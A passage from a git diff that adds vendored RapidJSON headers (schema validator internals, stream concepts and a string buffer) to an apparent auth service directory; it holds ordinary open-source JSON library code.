AddCurrentError(kValidateErrorUniqueItems, true); + } + + void TooManyProperties(SizeType actualCount, SizeType expectedCount) { + AddNumberError(kValidateErrorMaxProperties, + ValueType(actualCount).Move(), SValue(expectedCount).Move()); + } + void TooFewProperties(SizeType actualCount, SizeType expectedCount) { + AddNumberError(kValidateErrorMinProperties, + ValueType(actualCount).Move(), SValue(expectedCount).Move()); + } + void StartMissingProperties() { + currentError_.SetArray(); + } + void AddMissingProperty(const SValue& name) { + currentError_.PushBack(ValueType(name, GetStateAllocator()).Move(), GetStateAllocator()); + } + bool EndMissingProperties() { + if (currentError_.Empty()) + return false; + ValueType error(kObjectType); + error.AddMember(GetMissingString(), currentError_, GetStateAllocator()); + currentError_ = error; + AddCurrentError(kValidateErrorRequired); + return true; + } + void PropertyViolations(ISchemaValidator** subvalidators, SizeType count) { + for (SizeType i = 0; i < count; ++i) + MergeError(static_cast(subvalidators[i])->GetError()); + } + void DisallowedProperty(const Ch* name, SizeType length) { + currentError_.SetObject(); + currentError_.AddMember(GetDisallowedString(), ValueType(name, length, GetStateAllocator()).Move(), GetStateAllocator()); + AddCurrentError(kValidateErrorAdditionalProperties, true); + } + + void StartDependencyErrors() { + currentError_.SetObject(); + } + void StartMissingDependentProperties() { + missingDependents_.SetArray(); + } + void AddMissingDependentProperty(const SValue& targetName) { + missingDependents_.PushBack(ValueType(targetName, GetStateAllocator()).Move(), GetStateAllocator()); + } + void EndMissingDependentProperties(const SValue& sourceName) { + if (!missingDependents_.Empty()) { + // Create equivalent 'required' error + ValueType error(kObjectType); + ValidateErrorCode code = kValidateErrorRequired; + error.AddMember(GetMissingString(), missingDependents_.Move(), GetStateAllocator()); + AddErrorCode(error, code); + AddErrorInstanceLocation(error, false); + // When appending to a pointer ensure its allocator is used + PointerType schemaRef = GetInvalidSchemaPointer().Append(SchemaType::GetValidateErrorKeyword(kValidateErrorDependencies), &GetInvalidSchemaPointer().GetAllocator()); + AddErrorSchemaLocation(error, schemaRef.Append(sourceName.GetString(), sourceName.GetStringLength(), &GetInvalidSchemaPointer().GetAllocator())); + ValueType wrapper(kObjectType); + wrapper.AddMember(ValueType(SchemaType::GetValidateErrorKeyword(code), GetStateAllocator()).Move(), error, GetStateAllocator()); + currentError_.AddMember(ValueType(sourceName, GetStateAllocator()).Move(), wrapper, GetStateAllocator()); + } + } + void AddDependencySchemaError(const SValue& sourceName, ISchemaValidator* subvalidator) { + currentError_.AddMember(ValueType(sourceName, GetStateAllocator()).Move(), + static_cast(subvalidator)->GetError(), GetStateAllocator()); + } + bool EndDependencyErrors() { + if (currentError_.ObjectEmpty()) + return false; + ValueType error(kObjectType); + error.AddMember(GetErrorsString(), currentError_, GetStateAllocator()); + currentError_ = error; + AddCurrentError(kValidateErrorDependencies); + return true; + } + + void DisallowedValue(const ValidateErrorCode code = kValidateErrorEnum) { + currentError_.SetObject(); + AddCurrentError(code); + } + void StartDisallowedType() { + currentError_.SetArray(); + } + void AddExpectedType(const typename SchemaType::ValueType& expectedType) { + currentError_.PushBack(ValueType(expectedType, GetStateAllocator()).Move(), GetStateAllocator()); + } + void EndDisallowedType(const typename SchemaType::ValueType& actualType) { + ValueType error(kObjectType); + error.AddMember(GetExpectedString(), currentError_, GetStateAllocator()); + error.AddMember(GetActualString(), ValueType(actualType, GetStateAllocator()).Move(), GetStateAllocator()); + currentError_ = error; + AddCurrentError(kValidateErrorType); + } + void NotAllOf(ISchemaValidator** subvalidators, SizeType count) { + // Treat allOf like oneOf and anyOf to match https://rapidjson.org/md_doc_schema.html#allOf-anyOf-oneOf + AddErrorArray(kValidateErrorAllOf, subvalidators, count); + //for (SizeType i = 0; i < count; ++i) { + // MergeError(static_cast(subvalidators[i])->GetError()); + //} + } + void NoneOf(ISchemaValidator** subvalidators, SizeType count) { + AddErrorArray(kValidateErrorAnyOf, subvalidators, count); + } + void NotOneOf(ISchemaValidator** subvalidators, SizeType count, bool matched = false) { + AddErrorArray(matched ? kValidateErrorOneOfMatch : kValidateErrorOneOf, subvalidators, count); + } + void Disallowed() { + currentError_.SetObject(); + AddCurrentError(kValidateErrorNot); + } + +#define RAPIDJSON_STRING_(name, ...) \ + static const StringRefType& Get##name##String() {\ + static const Ch s[] = { __VA_ARGS__, '\0' };\ + static const StringRefType v(s, static_cast(sizeof(s) / sizeof(Ch) - 1)); \ + return v;\ + } + + RAPIDJSON_STRING_(InstanceRef, 'i', 'n', 's', 't', 'a', 'n', 'c', 'e', 'R', 'e', 'f') + RAPIDJSON_STRING_(SchemaRef, 's', 'c', 'h', 'e', 'm', 'a', 'R', 'e', 'f') + RAPIDJSON_STRING_(Expected, 'e', 'x', 'p', 'e', 'c', 't', 'e', 'd') + RAPIDJSON_STRING_(Actual, 'a', 'c', 't', 'u', 'a', 'l') + RAPIDJSON_STRING_(Disallowed, 'd', 'i', 's', 'a', 'l', 'l', 'o', 'w', 'e', 'd') + RAPIDJSON_STRING_(Missing, 'm', 'i', 's', 's', 'i', 'n', 'g') + RAPIDJSON_STRING_(Errors, 'e', 'r', 'r', 'o', 'r', 's') + RAPIDJSON_STRING_(ErrorCode, 'e', 'r', 'r', 'o', 'r', 'C', 'o', 'd', 'e') + RAPIDJSON_STRING_(ErrorMessage, 'e', 'r', 'r', 'o', 'r', 'M', 'e', 's', 's', 'a', 'g', 'e') + RAPIDJSON_STRING_(Duplicates, 'd', 'u', 'p', 'l', 'i', 'c', 'a', 't', 'e', 's') + +#undef RAPIDJSON_STRING_ + +#if RAPIDJSON_SCHEMA_VERBOSE +#define RAPIDJSON_SCHEMA_HANDLE_BEGIN_VERBOSE_() \ +RAPIDJSON_MULTILINEMACRO_BEGIN\ + *documentStack_.template Push() = '\0';\ + documentStack_.template Pop(1);\ + internal::PrintInvalidDocument(documentStack_.template Bottom());\ +RAPIDJSON_MULTILINEMACRO_END +#else +#define RAPIDJSON_SCHEMA_HANDLE_BEGIN_VERBOSE_() +#endif + +#define RAPIDJSON_SCHEMA_HANDLE_BEGIN_(method, arg1)\ + if (!valid_) return false; \ + if ((!BeginValue() && !GetContinueOnErrors()) || (!CurrentSchema().method arg1 && !GetContinueOnErrors())) {\ + RAPIDJSON_SCHEMA_HANDLE_BEGIN_VERBOSE_();\ + valid_ = false;\ + return valid_;\ + } + +#define RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(method, arg2)\ + for (Context* context = schemaStack_.template Bottom(); context != schemaStack_.template End(); context++) {\ + if (context->hasher)\ + static_cast(context->hasher)->method arg2;\ + if (context->validators)\ + for (SizeType i_ = 0; i_ < context->validatorCount; i_++)\ + static_cast(context->validators[i_])->method arg2;\ + if (context->patternPropertiesValidators)\ + for (SizeType i_ = 0; i_ < context->patternPropertiesValidatorCount; i_++)\ + static_cast(context->patternPropertiesValidators[i_])->method arg2;\ + } + +#define RAPIDJSON_SCHEMA_HANDLE_END_(method, arg2)\ + valid_ = (EndValue() || GetContinueOnErrors()) && (!outputHandler_ || outputHandler_->method arg2);\ + return valid_; + +#define RAPIDJSON_SCHEMA_HANDLE_VALUE_(method, arg1, arg2) \ + RAPIDJSON_SCHEMA_HANDLE_BEGIN_ (method, arg1);\ + RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(method, arg2);\ + RAPIDJSON_SCHEMA_HANDLE_END_ (method, arg2) + + bool Null() { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Null, (CurrentContext()), ( )); } + bool Bool(bool b) { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Bool, (CurrentContext(), b), (b)); } + bool Int(int i) { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Int, (CurrentContext(), i), (i)); } + bool Uint(unsigned u) { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Uint, (CurrentContext(), u), (u)); } + bool Int64(int64_t i) { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Int64, (CurrentContext(), i), (i)); } + bool Uint64(uint64_t u) { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Uint64, (CurrentContext(), u), (u)); } + bool Double(double d) { RAPIDJSON_SCHEMA_HANDLE_VALUE_(Double, (CurrentContext(), d), (d)); } + bool RawNumber(const Ch* str, SizeType length, bool copy) + { RAPIDJSON_SCHEMA_HANDLE_VALUE_(String, (CurrentContext(), str, length, copy), (str, length, copy)); } + bool String(const Ch* str, SizeType length, bool copy) + { RAPIDJSON_SCHEMA_HANDLE_VALUE_(String, (CurrentContext(), str, length, copy), (str, length, copy)); } + + bool StartObject() { + RAPIDJSON_SCHEMA_HANDLE_BEGIN_(StartObject, (CurrentContext())); + RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(StartObject, ()); + valid_ = !outputHandler_ || outputHandler_->StartObject(); + return valid_; + } + + bool Key(const Ch* str, SizeType len, bool copy) { + if (!valid_) return false; + AppendToken(str, len); + if (!CurrentSchema().Key(CurrentContext(), str, len, copy) && !GetContinueOnErrors()) { + valid_ = false; + return valid_; + } + RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(Key, (str, len, copy)); + valid_ = !outputHandler_ || outputHandler_->Key(str, len, copy); + return valid_; + } + + bool EndObject(SizeType memberCount) { + if (!valid_) return false; + RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(EndObject, (memberCount)); + if (!CurrentSchema().EndObject(CurrentContext(), memberCount) && !GetContinueOnErrors()) { + valid_ = false; + return valid_; + } + RAPIDJSON_SCHEMA_HANDLE_END_(EndObject, (memberCount)); + } + + bool StartArray() { + RAPIDJSON_SCHEMA_HANDLE_BEGIN_(StartArray, (CurrentContext())); + RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(StartArray, ()); + valid_ = !outputHandler_ || outputHandler_->StartArray(); + return valid_; + } + + bool EndArray(SizeType elementCount) { + if (!valid_) return false; + RAPIDJSON_SCHEMA_HANDLE_PARALLEL_(EndArray, (elementCount)); + if (!CurrentSchema().EndArray(CurrentContext(), elementCount) && !GetContinueOnErrors()) { + valid_ = false; + return valid_; + } + RAPIDJSON_SCHEMA_HANDLE_END_(EndArray, (elementCount)); + } + +#undef RAPIDJSON_SCHEMA_HANDLE_BEGIN_VERBOSE_ +#undef RAPIDJSON_SCHEMA_HANDLE_BEGIN_ +#undef RAPIDJSON_SCHEMA_HANDLE_PARALLEL_ +#undef RAPIDJSON_SCHEMA_HANDLE_VALUE_ + + // Implementation of ISchemaStateFactory + virtual ISchemaValidator* CreateSchemaValidator(const SchemaType& root, const bool inheritContinueOnErrors) { + ISchemaValidator* sv = new (GetStateAllocator().Malloc(sizeof(GenericSchemaValidator))) GenericSchemaValidator(*schemaDocument_, root, documentStack_.template Bottom(), documentStack_.GetSize(), +#if RAPIDJSON_SCHEMA_VERBOSE + depth_ + 1, +#endif + &GetStateAllocator()); + sv->SetValidateFlags(inheritContinueOnErrors ? GetValidateFlags() : GetValidateFlags() & ~(unsigned)kValidateContinueOnErrorFlag); + return sv; + } + + virtual void DestroySchemaValidator(ISchemaValidator* validator) { + GenericSchemaValidator* v = static_cast(validator); + v->~GenericSchemaValidator(); + StateAllocator::Free(v); + } + + virtual void* CreateHasher() { + return new (GetStateAllocator().Malloc(sizeof(HasherType))) HasherType(&GetStateAllocator()); + } + + virtual uint64_t GetHashCode(void* hasher) { + return static_cast(hasher)->GetHashCode(); + } + + virtual void DestroryHasher(void* hasher) { + HasherType* h = static_cast(hasher); + h->~HasherType(); + StateAllocator::Free(h); + } + + virtual void* MallocState(size_t size) { + return GetStateAllocator().Malloc(size); + } + + virtual void FreeState(void* p) { + StateAllocator::Free(p); + } + +private: + typedef typename SchemaType::Context Context; + typedef GenericValue, StateAllocator> HashCodeArray; + typedef internal::Hasher HasherType; + + GenericSchemaValidator( + const SchemaDocumentType& schemaDocument, + const SchemaType& root, + const char* basePath, size_t basePathSize, +#if RAPIDJSON_SCHEMA_VERBOSE + unsigned depth, +#endif + StateAllocator* allocator = 0, + size_t schemaStackCapacity = kDefaultSchemaStackCapacity, + size_t documentStackCapacity = kDefaultDocumentStackCapacity) + : + schemaDocument_(&schemaDocument), + root_(root), + stateAllocator_(allocator), + ownStateAllocator_(0), + schemaStack_(allocator, schemaStackCapacity), + documentStack_(allocator, documentStackCapacity), + outputHandler_(0), + error_(kObjectType), + currentError_(), + missingDependents_(), + valid_(true), + flags_(kValidateDefaultFlags) +#if RAPIDJSON_SCHEMA_VERBOSE + , depth_(depth) +#endif + { + if (basePath && basePathSize) + memcpy(documentStack_.template Push(basePathSize), basePath, basePathSize); + } + + StateAllocator& GetStateAllocator() { + if (!stateAllocator_) + stateAllocator_ = ownStateAllocator_ = RAPIDJSON_NEW(StateAllocator)(); + return *stateAllocator_; + } + + bool GetContinueOnErrors() const { + return flags_ & kValidateContinueOnErrorFlag; + } + + bool BeginValue() { + if (schemaStack_.Empty()) + PushSchema(root_); + else { + if (CurrentContext().inArray) + internal::TokenHelper, Ch>::AppendIndexToken(documentStack_, CurrentContext().arrayElementIndex); + + if (!CurrentSchema().BeginValue(CurrentContext()) && !GetContinueOnErrors()) + return false; + + SizeType count = CurrentContext().patternPropertiesSchemaCount; + const SchemaType** sa = CurrentContext().patternPropertiesSchemas; + typename Context::PatternValidatorType patternValidatorType = CurrentContext().valuePatternValidatorType; + bool valueUniqueness = CurrentContext().valueUniqueness; + RAPIDJSON_ASSERT(CurrentContext().valueSchema); + PushSchema(*CurrentContext().valueSchema); + + if (count > 0) { + CurrentContext().objectPatternValidatorType = patternValidatorType; + ISchemaValidator**& va = CurrentContext().patternPropertiesValidators; + SizeType& validatorCount = CurrentContext().patternPropertiesValidatorCount; + va = static_cast(MallocState(sizeof(ISchemaValidator*) * count)); + std::memset(va, 0, sizeof(ISchemaValidator*) * count); + for (SizeType i = 0; i < count; i++) + va[validatorCount++] = CreateSchemaValidator(*sa[i], true); // Inherit continueOnError + } + + CurrentContext().arrayUniqueness = valueUniqueness; + } + return true; + } + + bool EndValue() { + if (!CurrentSchema().EndValue(CurrentContext()) && !GetContinueOnErrors()) + return false; + +#if RAPIDJSON_SCHEMA_VERBOSE + GenericStringBuffer sb; + schemaDocument_->GetPointer(&CurrentSchema()).Stringify(sb); + + *documentStack_.template Push() = '\0'; + documentStack_.template Pop(1); + internal::PrintValidatorPointers(depth_, sb.GetString(), documentStack_.template Bottom()); +#endif + void* hasher = CurrentContext().hasher; + uint64_t h = hasher && CurrentContext().arrayUniqueness ? static_cast(hasher)->GetHashCode() : 0; + + PopSchema(); + + if (!schemaStack_.Empty()) { + Context& context = CurrentContext(); + // Only check uniqueness if there is a hasher + if (hasher && context.valueUniqueness) { + HashCodeArray* a = static_cast(context.arrayElementHashCodes); + if (!a) + CurrentContext().arrayElementHashCodes = a = new (GetStateAllocator().Malloc(sizeof(HashCodeArray))) HashCodeArray(kArrayType); + for (typename HashCodeArray::ConstValueIterator itr = a->Begin(); itr != a->End(); ++itr) + if (itr->GetUint64() == h) { + DuplicateItems(static_cast(itr - a->Begin()), a->Size()); + // Cleanup before returning if continuing + if (GetContinueOnErrors()) { + a->PushBack(h, GetStateAllocator()); + while (!documentStack_.Empty() && *documentStack_.template Pop(1) != '/'); + } + RAPIDJSON_INVALID_KEYWORD_RETURN(kValidateErrorUniqueItems); + } + a->PushBack(h, GetStateAllocator()); + } + } + + // Remove the last token of document pointer + while (!documentStack_.Empty() && *documentStack_.template Pop(1) != '/') + ; + + return true; + } + + void AppendToken(const Ch* str, SizeType len) { + documentStack_.template Reserve(1 + len * 2); // worst case all characters are escaped as two characters + *documentStack_.template PushUnsafe() = '/'; + for (SizeType i = 0; i < len; i++) { + if (str[i] == '~') { + *documentStack_.template PushUnsafe() = '~'; + *documentStack_.template PushUnsafe() = '0'; + } + else if (str[i] == '/') { + *documentStack_.template PushUnsafe() = '~'; + *documentStack_.template PushUnsafe() = '1'; + } + else + *documentStack_.template PushUnsafe() = str[i]; + } + } + + RAPIDJSON_FORCEINLINE void PushSchema(const SchemaType& schema) { new (schemaStack_.template Push()) Context(*this, *this, &schema); } + + RAPIDJSON_FORCEINLINE void PopSchema() { + Context* c = schemaStack_.template Pop(1); + if (HashCodeArray* a = static_cast(c->arrayElementHashCodes)) { + a->~HashCodeArray(); + StateAllocator::Free(a); + } + c->~Context(); + } + + void AddErrorInstanceLocation(ValueType& result, bool parent) { + GenericStringBuffer sb; + PointerType instancePointer = GetInvalidDocumentPointer(); + ((parent && instancePointer.GetTokenCount() > 0) + ? PointerType(instancePointer.GetTokens(), instancePointer.GetTokenCount() - 1) + : instancePointer).StringifyUriFragment(sb); + ValueType instanceRef(sb.GetString(), static_cast(sb.GetSize() / sizeof(Ch)), + GetStateAllocator()); + result.AddMember(GetInstanceRefString(), instanceRef, GetStateAllocator()); + } + + void AddErrorSchemaLocation(ValueType& result, PointerType schema = PointerType()) { + GenericStringBuffer sb; + SizeType len = CurrentSchema().GetURI().GetStringLength(); + if (len) memcpy(sb.Push(len), CurrentSchema().GetURI().GetString(), len * sizeof(Ch)); + if (schema.GetTokenCount()) schema.StringifyUriFragment(sb); + else GetInvalidSchemaPointer().StringifyUriFragment(sb); + ValueType schemaRef(sb.GetString(), static_cast(sb.GetSize() / sizeof(Ch)), + GetStateAllocator()); + result.AddMember(GetSchemaRefString(), schemaRef, GetStateAllocator()); + } + + void AddErrorCode(ValueType& result, const ValidateErrorCode code) { + result.AddMember(GetErrorCodeString(), code, GetStateAllocator()); + } + + void AddError(ValueType& keyword, ValueType& error) { + typename ValueType::MemberIterator member = error_.FindMember(keyword); + if (member == error_.MemberEnd()) + error_.AddMember(keyword, error, GetStateAllocator()); + else { + if (member->value.IsObject()) { + ValueType errors(kArrayType); + errors.PushBack(member->value, GetStateAllocator()); + member->value = errors; + } + member->value.PushBack(error, GetStateAllocator()); + } + } + + void AddCurrentError(const ValidateErrorCode code, bool parent = false) { + AddErrorCode(currentError_, code); + AddErrorInstanceLocation(currentError_, parent); + AddErrorSchemaLocation(currentError_); + AddError(ValueType(SchemaType::GetValidateErrorKeyword(code), GetStateAllocator(), false).Move(), currentError_); + } + + void MergeError(ValueType& other) { + for (typename ValueType::MemberIterator it = other.MemberBegin(), end = other.MemberEnd(); it != end; ++it) { + AddError(it->name, it->value); + } + } + + void AddNumberError(const ValidateErrorCode code, ValueType& actual, const SValue& expected, + const typename SchemaType::ValueType& (*exclusive)() = 0) { + currentError_.SetObject(); + currentError_.AddMember(GetActualString(), actual, GetStateAllocator()); + currentError_.AddMember(GetExpectedString(), ValueType(expected, GetStateAllocator()).Move(), GetStateAllocator()); + if (exclusive) + currentError_.AddMember(ValueType(exclusive(), GetStateAllocator()).Move(), true, GetStateAllocator()); + AddCurrentError(code); + } + + void AddErrorArray(const ValidateErrorCode code, + ISchemaValidator** subvalidators, SizeType count) { + ValueType errors(kArrayType); + for (SizeType i = 0; i < count; ++i) + errors.PushBack(static_cast(subvalidators[i])->GetError(), GetStateAllocator()); + currentError_.SetObject(); + currentError_.AddMember(GetErrorsString(), errors, GetStateAllocator()); + AddCurrentError(code); + } + + const SchemaType& CurrentSchema() const { return *schemaStack_.template Top()->schema; } + Context& CurrentContext() { return *schemaStack_.template Top(); } + const Context& CurrentContext() const { return *schemaStack_.template Top(); } + + static const size_t kDefaultSchemaStackCapacity = 1024; + static const size_t kDefaultDocumentStackCapacity = 256; + const SchemaDocumentType* schemaDocument_; + const SchemaType& root_; + StateAllocator* stateAllocator_; + StateAllocator* ownStateAllocator_; + internal::Stack schemaStack_; //!< stack to store the current path of schema (BaseSchemaType *) + internal::Stack documentStack_; //!< stack to store the current path of validating document (Ch) + OutputHandler* outputHandler_; + ValueType error_; + ValueType currentError_; + ValueType missingDependents_; + bool valid_; + unsigned flags_; +#if RAPIDJSON_SCHEMA_VERBOSE + unsigned depth_; +#endif +}; + +typedef GenericSchemaValidator SchemaValidator; + +/////////////////////////////////////////////////////////////////////////////// +// SchemaValidatingReader + +//! A helper class for parsing with validation. +/*! + This helper class is a functor, designed as a parameter of \ref GenericDocument::Populate(). + + \tparam parseFlags Combination of \ref ParseFlag. + \tparam InputStream Type of input stream, implementing Stream concept. + \tparam SourceEncoding Encoding of the input stream. + \tparam SchemaDocumentType Type of schema document. + \tparam StackAllocator Allocator type for stack. +*/ +template < + unsigned parseFlags, + typename InputStream, + typename SourceEncoding, + typename SchemaDocumentType = SchemaDocument, + typename StackAllocator = CrtAllocator> +class SchemaValidatingReader { +public: + typedef typename SchemaDocumentType::PointerType PointerType; + typedef typename InputStream::Ch Ch; + typedef GenericValue ValueType; + + //! Constructor + /*! + \param is Input stream. + \param sd Schema document. + */ + SchemaValidatingReader(InputStream& is, const SchemaDocumentType& sd) : is_(is), sd_(sd), invalidSchemaKeyword_(), invalidSchemaCode_(kValidateErrorNone), error_(kObjectType), isValid_(true) {} + + template + bool operator()(Handler& handler) { + GenericReader reader; + GenericSchemaValidator validator(sd_, handler); + parseResult_ = reader.template Parse(is_, validator); + + isValid_ = validator.IsValid(); + if (isValid_) { + invalidSchemaPointer_ = PointerType(); + invalidSchemaKeyword_ = 0; + invalidDocumentPointer_ = PointerType(); + error_.SetObject(); + } + else { + invalidSchemaPointer_ = validator.GetInvalidSchemaPointer(); + invalidSchemaKeyword_ = validator.GetInvalidSchemaKeyword(); + invalidSchemaCode_ = validator.GetInvalidSchemaCode(); + invalidDocumentPointer_ = validator.GetInvalidDocumentPointer(); + error_.CopyFrom(validator.GetError(), allocator_); + } + + return parseResult_; + } + + const ParseResult& GetParseResult() const { return parseResult_; } + bool IsValid() const { return isValid_; } + const PointerType& GetInvalidSchemaPointer() const { return invalidSchemaPointer_; } + const Ch* GetInvalidSchemaKeyword() const { return invalidSchemaKeyword_; } + const PointerType& GetInvalidDocumentPointer() const { return invalidDocumentPointer_; } + const ValueType& GetError() const { return error_; } + ValidateErrorCode GetInvalidSchemaCode() const { return invalidSchemaCode_; } + +private: + InputStream& is_; + const SchemaDocumentType& sd_; + + ParseResult parseResult_; + PointerType invalidSchemaPointer_; + const Ch* invalidSchemaKeyword_; + PointerType invalidDocumentPointer_; + ValidateErrorCode invalidSchemaCode_; + StackAllocator allocator_; + ValueType error_; + bool isValid_; +}; + +RAPIDJSON_NAMESPACE_END +RAPIDJSON_DIAG_POP + +#endif // RAPIDJSON_SCHEMA_H_ diff --git a/services/service2/src/auth_service/rapidjson/stream.h b/services/service2/src/auth_service/rapidjson/stream.h new file mode 100644 index 0000000..1fd7091 --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/stream.h @@ -0,0 +1,223 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#include "rapidjson.h" + +#ifndef RAPIDJSON_STREAM_H_ +#define RAPIDJSON_STREAM_H_ + +#include "encodings.h" + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// Stream + +/*! \class rapidjson::Stream + \brief Concept for reading and writing characters. + + For read-only stream, no need to implement PutBegin(), Put(), Flush() and PutEnd(). + + For write-only stream, only need to implement Put() and Flush(). + +\code +concept Stream { + typename Ch; //!< Character type of the stream. + + //! Read the current character from stream without moving the read cursor. + Ch Peek() const; + + //! Read the current character from stream and moving the read cursor to next character. + Ch Take(); + + //! Get the current read cursor. + //! \return Number of characters read from start. + size_t Tell(); + + //! Begin writing operation at the current read pointer. + //! \return The begin writer pointer. + Ch* PutBegin(); + + //! Write a character. + void Put(Ch c); + + //! Flush the buffer. + void Flush(); + + //! End the writing operation. + //! \param begin The begin write pointer returned by PutBegin(). + //! \return Number of characters written. + size_t PutEnd(Ch* begin); +} +\endcode +*/ + +//! Provides additional information for stream. +/*! + By using traits pattern, this type provides a default configuration for stream. + For custom stream, this type can be specialized for other configuration. + See TEST(Reader, CustomStringStream) in readertest.cpp for example. +*/ +template +struct StreamTraits { + //! Whether to make local copy of stream for optimization during parsing. + /*! + By default, for safety, streams do not use local copy optimization. + Stream that can be copied fast should specialize this, like StreamTraits. + */ + enum { copyOptimization = 0 }; +}; + +//! Reserve n characters for writing to a stream. +template +inline void PutReserve(Stream& stream, size_t count) { + (void)stream; + (void)count; +} + +//! Write character to a stream, presuming buffer is reserved. +template +inline void PutUnsafe(Stream& stream, typename Stream::Ch c) { + stream.Put(c); +} + +//! Put N copies of a character to a stream. +template +inline void PutN(Stream& stream, Ch c, size_t n) { + PutReserve(stream, n); + for (size_t i = 0; i < n; i++) + PutUnsafe(stream, c); +} + +/////////////////////////////////////////////////////////////////////////////// +// GenericStreamWrapper + +//! A Stream Wrapper +/*! \tThis string stream is a wrapper for any stream by just forwarding any + \treceived message to the origin stream. + \note implements Stream concept +*/ + +#if defined(_MSC_VER) && _MSC_VER <= 1800 +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(4702) // unreachable code +RAPIDJSON_DIAG_OFF(4512) // assignment operator could not be generated +#endif + +template > +class GenericStreamWrapper { +public: + typedef typename Encoding::Ch Ch; + GenericStreamWrapper(InputStream& is): is_(is) {} + + Ch Peek() const { return is_.Peek(); } + Ch Take() { return is_.Take(); } + size_t Tell() { return is_.Tell(); } + Ch* PutBegin() { return is_.PutBegin(); } + void Put(Ch ch) { is_.Put(ch); } + void Flush() { is_.Flush(); } + size_t PutEnd(Ch* ch) { return is_.PutEnd(ch); } + + // wrapper for MemoryStream + const Ch* Peek4() const { return is_.Peek4(); } + + // wrapper for AutoUTFInputStream + UTFType GetType() const { return is_.GetType(); } + bool HasBOM() const { return is_.HasBOM(); } + +protected: + InputStream& is_; +}; + +#if defined(_MSC_VER) && _MSC_VER <= 1800 +RAPIDJSON_DIAG_POP +#endif + +/////////////////////////////////////////////////////////////////////////////// +// StringStream + +//! Read-only string stream. +/*! \note implements Stream concept +*/ +template +struct GenericStringStream { + typedef typename Encoding::Ch Ch; + + GenericStringStream(const Ch *src) : src_(src), head_(src) {} + + Ch Peek() const { return *src_; } + Ch Take() { return *src_++; } + size_t Tell() const { return static_cast(src_ - head_); } + + Ch* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } + void Put(Ch) { RAPIDJSON_ASSERT(false); } + void Flush() { RAPIDJSON_ASSERT(false); } + size_t PutEnd(Ch*) { RAPIDJSON_ASSERT(false); return 0; } + + const Ch* src_; //!< Current read position. + const Ch* head_; //!< Original head of the string. +}; + +template +struct StreamTraits > { + enum { copyOptimization = 1 }; +}; + +//! String stream with UTF8 encoding. +typedef GenericStringStream > StringStream; + +/////////////////////////////////////////////////////////////////////////////// +// InsituStringStream + +//! A read-write string stream. +/*! This string stream is particularly designed for in-situ parsing. + \note implements Stream concept +*/ +template +struct GenericInsituStringStream { + typedef typename Encoding::Ch Ch; + + GenericInsituStringStream(Ch *src) : src_(src), dst_(0), head_(src) {} + + // Read + Ch Peek() { return *src_; } + Ch Take() { return *src_++; } + size_t Tell() { return static_cast(src_ - head_); } + + // Write + void Put(Ch c) { RAPIDJSON_ASSERT(dst_ != 0); *dst_++ = c; } + + Ch* PutBegin() { return dst_ = src_; } + size_t PutEnd(Ch* begin) { return static_cast(dst_ - begin); } + void Flush() {} + + Ch* Push(size_t count) { Ch* begin = dst_; dst_ += count; return begin; } + void Pop(size_t count) { dst_ -= count; } + + Ch* src_; + Ch* dst_; + Ch* head_; +}; + +template +struct StreamTraits > { + enum { copyOptimization = 1 }; +}; + +//! Insitu string stream with UTF8 encoding. +typedef GenericInsituStringStream > InsituStringStream; + +RAPIDJSON_NAMESPACE_END + +#endif // RAPIDJSON_STREAM_H_ diff --git a/services/service2/src/auth_service/rapidjson/stringbuffer.h b/services/service2/src/auth_service/rapidjson/stringbuffer.h new file mode 100644 index 0000000..82ad3ca --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/stringbuffer.h @@ -0,0 +1,121 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_STRINGBUFFER_H_ +#define RAPIDJSON_STRINGBUFFER_H_ + +#include "stream.h" +#include "internal/stack.h" + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS +#include // std::move +#endif + +#include "internal/stack.h" + +#if defined(__clang__) +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(c++98-compat) +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +//! Represents an in-memory output stream. +/*! + \tparam Encoding Encoding of the stream. + \tparam Allocator type for allocating memory buffer. + \note implements Stream concept +*/ +template +class GenericStringBuffer { +public: + typedef typename Encoding::Ch Ch; + + GenericStringBuffer(Allocator* allocator = 0, size_t capacity = kDefaultCapacity) : stack_(allocator, capacity) {} + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + GenericStringBuffer(GenericStringBuffer&& rhs) : stack_(std::move(rhs.stack_)) {} + GenericStringBuffer& operator=(GenericStringBuffer&& rhs) { + if (&rhs != this) + stack_ = std::move(rhs.stack_); + return *this; + } +#endif + + void Put(Ch c) { *stack_.template Push() = c; } + void PutUnsafe(Ch c) { *stack_.template PushUnsafe() = c; } + void Flush() {} + + void Clear() { 